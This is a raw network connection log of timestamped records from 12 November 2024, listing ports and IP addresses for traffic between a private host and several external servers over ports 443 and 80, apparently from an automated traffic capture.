Nov 12, 2024 06:23:28.224571943 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.224582911 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.224596024 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.224606991 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.225389004 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.225440025 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.225720882 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.225827932 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.225831032 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.225838900 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.225842953 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.227746010 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.227766991 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.227881908 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.228007078 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.228022099 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.228895903 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.228924036 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.228987932 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.229115963 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.229125977 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.241991043 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.242029905 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.242038965 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.242047071 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.242088079 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.242091894 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.246797085 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.246886969 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.246993065 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.247204065 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.247210979 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.247230053 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.247234106 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.249792099 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.249842882 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.249846935 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.250274897 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.250298977 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.250309944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:28.250387907 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.250432014 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:28.250660896 CET	49813	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.250674963 CET	443	49813	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.254820108 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.255023956 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.255028963 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.278812885 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.278855085 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.278855085 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.278860092 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.278906107 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.279755116 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.279923916 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.279995918 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.280159950 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.280175924 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.284081936 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.284096003 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.284187078 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.284734011 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.284742117 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.307825089 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.307847977 CET	443	49815	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.307969093 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.308160067 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.308170080 CET	443	49815	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.308592081 CET	49816	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.308629036 CET	443	49816	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.308689117 CET	49816	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.308828115 CET	49816	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.308840036 CET	443	49816	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.313770056 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.318873882 CET	49817	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.318897009 CET	443	49817	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.318948984 CET	49817	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.319783926 CET	49817	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.319797039 CET	443	49817	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.357450008 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.357508898 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.357512951 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.361552000 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.361577988 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.361639023 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.361644030 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.361685991 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.366935015 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.372142076 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.372215033 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.372220039 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.376647949 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.376678944 CET	443	49819	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.376842976 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.376930952 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.376946926 CET	443	49819	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.379631042 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.379681110 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.379684925 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.431550026 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.431585073 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.431592941 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.431600094 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.431643009 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.475198030 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.479461908 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.479487896 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.479538918 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.479545116 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.479581118 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.488446951 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.488579988 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.488616943 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.488661051 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.488666058 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.489003897 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.497327089 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.510246038 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.510273933 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.510324001 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.510334015 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.510632992 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.549638033 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.596998930 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.597031116 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.597069025 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.597079039 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.597114086 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.605978012 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.606035948 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.606059074 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.614726067 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.614770889 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.616677999 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.616688013 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.616733074 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.618910074 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.619148970 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.619164944 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.620277882 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.620330095 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.621352911 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.621403933 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.628001928 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.662697077 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.662714958 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.667279959 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.667321920 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.667325974 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.667370081 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.667407990 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.667418003 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.667422056 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.667455912 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.667462111 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.692846060 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.692934990 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.701750040 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.701764107 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.702014923 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.706914902 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.707114935 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.707150936 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.714529991 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.714598894 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.714602947 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723541021 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723592043 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723615885 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.723619938 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723659992 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.723663092 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723695993 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.723756075 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.729245901 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.729260921 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.779891968 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.786910057 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.786927938 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.788002968 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.788007975 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.788156033 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:28.788165092 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:28.793420076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:28.798131943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:28.816104889 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.816617012 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.816648006 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.816864014 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.819984913 CET	49816	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.820095062 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.821656942 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.821717024 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:28.821810007 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:28.822866917 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.822876930 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.823005915 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.823204994 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.823218107 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.823246002 CET	49817	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.823266983 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.823474884 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.823493004 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.823565960 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.823915005 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.823923111 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.824229956 CET	49822	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.824239016 CET	443	49822	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.824512959 CET	49820	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.824520111 CET	443	49820	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.825047016 CET	49824	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.825057030 CET	443	49824	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.863321066 CET	443	49815	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.863342047 CET	443	49816	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.867320061 CET	443	49817	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.867331982 CET	443	49819	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.912955046 CET	443	49816	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.913033962 CET	49816	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.917874098 CET	443	49815	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.917977095 CET	443	49815	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:28.918015003 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.918061972 CET	49815	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:28.961304903 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.961324930 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.962034941 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.962563038 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.962584972 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.963290930 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.963296890 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.963665009 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.963681936 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.964118004 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.964123011 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.964390993 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.964406013 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.964824915 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.964829922 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.020524979 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.021419048 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.021419048 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.021445990 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.021454096 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.069168091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069180965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069205046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069216967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069228888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069242954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069253922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.069258928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069271088 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069281101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069293976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.069356918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069367886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069379091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.069397926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.069431067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.074132919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.074191093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.074215889 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.074444056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.090075016 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.090152025 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.090208054 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.090456963 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.090456963 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.090471983 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.090480089 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.091926098 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.092062950 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.092345953 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.093252897 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.093276024 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.093431950 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.093514919 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.093522072 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.093543053 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.093548059 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.095228910 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.095388889 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.095731974 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.096841097 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.096872091 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.097183943 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.097292900 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.097309113 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.097482920 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.097482920 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.097493887 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.097501993 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.098341942 CET	49826	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.098350048 CET	443	49826	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.099803925 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.099812031 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.100143909 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.100428104 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.100438118 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.115822077 CET	443	49819	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.115933895 CET	443	49819	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.116008997 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.116008997 CET	49819	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.126460075 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.126486063 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.126642942 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.126802921 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.126816034 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.164081097 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.164386988 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.167686939 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.167686939 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.168000937 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.168010950 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.170177937 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.170200109 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.170381069 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.170559883 CET	49829	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:29.170572042 CET	443	49829	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:29.222379923 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.222421885 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.222507954 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.223476887 CET	49830	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:29.223484993 CET	443	49830	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:29.224075079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224088907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224150896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.224150896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.224298954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224330902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224344015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224356890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.224513054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224531889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224539995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.224544048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224627972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.224836111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.224848986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225003004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:29.225037098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:29.225049019 CET	80	49779	185.215.113.206	192.168.2.5
